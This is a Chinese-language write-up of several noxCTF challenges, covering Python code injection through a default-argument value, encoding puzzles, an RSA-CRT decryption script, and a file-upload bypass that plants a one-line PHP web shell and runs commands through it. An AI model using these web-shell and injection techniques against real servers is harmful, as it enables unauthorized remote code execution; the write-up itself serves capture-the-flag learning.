noxCTF部分writeup(欢迎吐槽QAQ)

简介: 前言本文首发i春秋:https://bbs.ichunqiu.com/thread-46059-1-1.html渣渣一枚,萌新一个,会划水,会喊六六(hhhhh)补一下关于noxCTF中的部分解题思路,毕竟自己太渣(Qrz),有些题目还是做不出来(QAQ),有什么错误的地方,希望各位大佬指点...

前言

img_93bc2dd65f573a16dbde48abaab6e1c7.jpe

本文首发i春秋:https://bbs.ichunqiu.com/thread-46059-1-1.html

渣渣一枚,萌新一个,会划水,会喊六六(hhhhh)

补一下关于noxCTF中的部分解题思路,毕竟自己太渣(Qrz),有些题目还是做不出来(QAQ),有什么错误的地方,希望各位大佬指点一下(thx)

一:Python for fun

img_482db2e2384a7b8cf546f4df59221d4a.png

欢迎来到noxale的在线python课程!!! 您可以在有限的时间内免费试用它并在python 3中学习基本编程:http://chal.noxale.com:8000/

该网站有三个不同的页面用于教python 3.页面是'修复代码','匹配签名到正文','代码返回'。我们感兴趣的是'match signature to body'类,因为它允许我们设置python 3函数的参数并解释它。

我们来看看它是否容易受到攻击。

def fun(a,b,c=print('7' * 7)):
    c = a + b
    return c

print(fun(10, 12) == 22)
7777777
True

img_39dbf702fbc5e629c0d5198c204feda7.png

如您所见,它执行了我们的代码并打印了7777777

让我们尝试列出工作目录下的文件

def fun(a,b,c=print(__import__('os').listdir())):
c = a + b
return c

print(fun(10, 12) == 22)
 
['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']
True

img_cb48d98f4017e252f8a483e3e88d5c26.png

只需要使用一个flag就可以得到答案:

def fun(a,b,c=print(open('FLAG','r').read())):
c = a + b
return c
 
print(fun(10, 12) == 22)
 
noxCTF{py7h0n_15_4w350m3}
 
True

img_f8538170cdc73d5056cbe2032acceb0c.png

二:Read Between The Lines

img_b7c0d9c21860db4d3ef5f14088ed1712.png

下载文件后,感觉该文件是一个gzip压缩存档。

使用linux命令:

$ file message.code

message.code:gzip压缩数据,是“消息”

$ mv message.code message.code.gz

$ gzip -d message.code

查看文件的内容,我看到一些代码,我认为这些代码是常见的JavaScript代码

img_acc50a0bed5d55b034099c936a403801.png

所以,让我们尝试在浏览器中运行代码,看看会发生什么。

img_904965cab690cfa2a021596e875699fc.png

出现错误,只能慢慢查找资料(QAQ) CTF中那些脑洞大开的编码和加密

在这个强大的资料库里面就可以找到解码的网址:https://vii5ard.github.io/whitespace/

把需要解密的密文放入并单击“运行”按钮,就会得到答案:

img_47635f86b4c3eac76183c95800f06418.png

三:Blind Date

img_36b73bfe0b07aa01402d93f6c67b1364.png

通过检查文件的数据,xxd我们注意到字节是乱码的

img_d6327a841b95bd779fc2b2735dff80f1.png

在看了JPEG文件交换格式后,我们可以快速查看字节是如何被加扰的。 https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format#File_format_structure

该文件应以字节开头,FF D8 FF E0然后是一个2字节的值,用于保存段长度。接下来是JFIF标识符4A 46 49 46 00

我们注意到它们只占用了4个字节的块并将它们反转。

f = open('BlindDate.jpeg',“rb”)
s = f.read()
f.close()

data = '' 
for i in range(0,len(s),4):
data + = s [i:i + 4 ] [:: -1 ]

nf = open('blind.jpeg','wb')
nf.write(data)

此脚本将还原的映像写入blind.jpeg

img_376bd394aedf10cde4be8b3ad8ff394d.jpe

字符串显示图像末尾有一些数据:

img_d1e94f90dff31a8ed926edf4e4f2b18f.png

一个base64字符串Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLgPK,它解码为:

.. .. .. .. .. .. .. 
。。。。。。。。  
.. .. .. 。

文字是盲文翻译之后就会得到:F4C3P4LM

接下来,我们使用binwalk提取blind.jpeg中的zip文件。

打开zip文件发现需要密码 而我们已经得到盲文翻译后的答案,尝试一下可不可以解密 就会得到一个flag.txt文件

此文件包含brainfuck代码并运行它打印最终标志。

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.

放进解密工具:Brainfuck

img_18164a8317633b46f3f600f1c11acef3.png

解密之后就会得到答案:

img_421c0cc0d9287d35187972a5a5b91b85.png

最后得到答案:noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}

四:Reference

img_668775357ee0d32437f1e6c3a2c162e5.png

我们使用此URI启动挑战:

http://chal.noxale.com:5000/

打开这个页面,我们得到一个简单的网站,只包含明文“你来自哪个****?”。

img_bc701730aa40883da852022ac0d3c1bd.png

通过HTML文档挖掘,我们发现了一个脚本标记链接 /js/index.js

img_16d839ef39e1dddad430f3b8b911fa53.png

在原始检查时,它是一个ajax函数,它根据对url的请求返回成功并可能标记或失败/check_from_google

从挑战标题和url名称推断,/check_from_google我们必须将请求标头中的HTTP Referer字段设置为 url /check_from_google

启动burp就可以,捕获请求并添加带有www.google.com值的referer字段。

img_bc2c71a4b73db9be1ebe0bc2adfec8f6.png

我们使用以下有效负载返回HTTP 200 OK

    bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9

使用base64即可进行解密:

noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}

五:Chop Suey

img_ae7ff0697eb840a9c4d391b49bf9c568.png

题目描述:

Today I ate in a Chinese restaurant and got myself a fortune cookie. These things usually contain a note with a nice sentence or phrase, but mine had numbers in it instead! Can you help me find the meaning of the numbers?

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 

q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 

dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 

dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 

c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

因此,如果您已经学习了中国剩余定理,那么您肯定会知道这种RSA优化技术。
它指出:

dp = d (mod p-1)

dq = d (mod q-1)

使用这种方法比使用欧几里得中关于RSA的算法更快,如果没有pq,你将需要计算更多,而现在只需要看一下维基百科中的关于RSA算

法使用中国剩余定理即可

https://en.wikipedia.org/wiki/RSA_(cryptosystem)

由于他们已经为我们提供了pq值!我们可以轻松地重新计算qinv

构建qinv

qinv = modinv(q, p)
m2 = pow(c, dq, q)
m1 = pow(c, dp, p)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q

完整脚本:

from gmpy2 import *
p=8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q=12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp=6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq=783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c=24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
def egcd(a, b):
    if a == 0:
       return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
       raise Exception('modular inverse does not exist')
    else:
        return x % m
qinv = modinv(q, p)
m2 = pow(c, dq, q)
m1 = pow(c, dp, p)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
print(m)

txt = hex(m)[2:]
print ''.join([chr(int(''.join(c), 16)) for c in zip(txt[0::2],txt[1::2])])

img_da5782c93ae614c6229de8f7daf3ec59.png

六:MyFileUploader

首先使用第一种,比较常见的方式:

由于该网站允许我们上传文件。让我们创建一个php shell文件,但将其保存为dummy.txt

dummy.txt

<?php
system($_GET['cmd']);
?>

然后,尝试上传它

img_6ddbe05d6e9663d97300be751ee1767e.png

由提示可以看出,这个上传的文件它希望文件名包含.png / .jpg / .gif。让我们将dummy.txt文件重命名为dummy.png.txt并尝试再次上传

File: dummy.png.txt

Image uploaded to: <a href='uploads/dummy.png.txt'>Here</a>

接下来我们看一下上传之后的网址:

$ curl 'http://chal.noxale.com:8079/uploads/dummy.png.txt'
<?php
system($_GET['cmd']);
?>

这个就表示我们已成功上传。我们试着查看/ uploads /下的内容

img_1e9f8a9968dc72052ccfedb29af9f59d.png

我们可以看到这里面有一个名为“Don't open/”的目录。让我们看看里面是什么

img_fc99d7441318aed7f6ec2d350851457c.png

Options +Indexes
AddType application/x-httpd-php .cyb3r

从这里可以看出服务器使用PHP运行扩展名为.cyb3r的文件。

因此我们需要将文件重命名为rce.png.cyb3r并重新上传,就会得到:

img_a0f37b37e39121feedabb8dcc3c33557.png

我们可以由提示看出,我们成功上传了我们的shell文件。我们先来测试!!!

首先:看一下 http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami

img_3a03180a216c423023bf0b3a4ac09f41.png

然后:http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd

img_aefcfcb95063e327d2122b65d6f4d290.png

接下来使用ls命令就可以得到想要的答案:

$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls"
1.jpg
1.jpg%00php
1.php%00jpg
1.php.jpg
1jpg
2.php%00jpg
2.php.jpg
2.php;.jpg
7H3-FL4G-1S-H3r3
Don't open
dummy.png.txt
exec.png.cyb3r
gif.phpjpg
gifjpg
rce.png.cyb3r
shell.png.cyb3r
shell.png.phtml
uploadTest.txt
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=file%207H3-FL4G-1S-H3r3"
7H3-FL4G-1S-H3r3: directory
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls%207H3-FL4G-1S-H3r3"
noxCTF{N3V3R_7RU57_07H3R5}

最后得到答案:noxCTF{N3V3R_7RU57_07H3R5}

第二种方法:

打开链接:http://chal.noxale.com:8079

img_5f2b34e159794bdbfb740448bebe10fc.png

让我们尝试上传这个非常可爱的zzkjRTe.jpg图片:

zzkjRTe.png

img_5de7b52729b3c888904bb5c17f836387.png

正如我们所看到的,它还为我们提供了在服务器上找到此图片的路径:http://chal.noxale.com:8079/uploads/kittens.jpg

在探索这条路径之前,让我们尝试上传一个非常简单的webshel​​l名为shell.php。它实际上是Arrexel的剧本。

img_762f4611fc8409853eb5e870fad4f061.png

在我尝试了不同的东西之后,我理解我只需要放置.png,.jpg或者.gif在文件名中的任何位置。因此服务器仍将evilshell.jpg.php作为有效输

入,但.php如果存在于文件名的末尾,它将自动擦除。那是一个问题。

然后我去探索路径/uploads,我找到了一个名为Do not open的目录。你猜怎么了?我打开它。

里面有着一个名为:.htaccess文件,内容对我们还是有很大的帮助:

Options +Indexes
AddType application/x-httpd-php .cyb3r

这意味着任何以自制扩展名结尾的文件.cyb3r都将由服务器作为php代码处理。

接下来就变得简单了许多

让我们把我们的phpbash shell重命名为shell.png.cyb3r,然后上传它。

img_2c225c354d786ca921a2411b19d9b74a.png

成功了!现在的时刻......让我们导航到我们的上传路径......

是的!得到了一个webshel​​l

现在让我们列出这个名为7H3-FL4G-1S-H3r3文件夹里面的内容:

img_1a4142d9678fa10a4f2faef895256238.png

最后答案:noxCTF{N3V3R_7RU57_07H3R5}

参考资料:

phpbash:https://github.com/Arrexel/phpbash

CTF中RSA的常见攻击方法 : https://www.anquanke.com/post/id/84632

CTF中那些脑洞大开的编码和加密: https://www.tuicool.com/articles/2E3INnm

RSA之中国剩余定理: https://en.wikipedia.org/wiki/RSA_(cryptosystem)

Brainfuck/Ook! Obfuscation/Encoding: https://www.splitbrain.org/services/ook

目录
相关文章
|
7月前
hdoj 1166 敌兵布阵
暴力超时,这道题可以用线段树做,因为更新的是单个节点,我们也可以用数组数组来做,我将两种方法的代码都给出 数组数组最适宜的用途就是区间求和和点的更新,但树状数组并不适用于区间的更新问题,也不是做不到,比较麻烦且难理解,有兴趣的可以看看这个
15 0
|
3月前
|
C++
【PTA】L1-035 情人节(C++)
【PTA】L1-035 情人节(C++)
35 0
【PTA】L1-035 情人节(C++)
|
8月前
|
数据安全/隐私保护
BUUCTF [AFCTF2018]Morse 1
BUUCTF [AFCTF2018]Morse 1
49 0
|
12月前
|
SQL Web App开发 Oracle
Ichunqiu云境 —— Endless(无间计划) Writeup
两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
|
人工智能
upc 2021秋组队训练赛第三场 2020 Rocky Mountain Regional Contest
upc 2021秋组队训练赛第三场 2020 Rocky Mountain Regional Contest
76 0
upc2021秋组队训练赛第一场 ICPC North Central NA Contest 2020
upc2021秋组队训练赛第一场 ICPC North Central NA Contest 2020
71 0
upc2021秋组队训练赛第一场 ICPC North Central NA Contest 2020
UPC组队赛第三场——G: The Famous ICPC Team Again (主席树)
UPC组队赛第三场——G: The Famous ICPC Team Again (主席树)
74 0
|
JavaScript PHP
CTFSHOW 愚人节欢乐赛
CTFSHOW 愚人节欢乐赛WP
194 0
CTFSHOW 愚人节欢乐赛
|
Java
HDU - 2018杭电ACM集训队单人排位赛 - 3 - Problem H. Dominoes
HDU - 2018杭电ACM集训队单人排位赛 - 3 - Problem H. Dominoes
105 0
|
机器学习/深度学习 算法 Java
HDU - 2018杭电ACM集训队单人排位赛 - 3 - Problem B. Bullet
HDU - 2018杭电ACM集训队单人排位赛 - 3 - Problem B. Bullet
138 0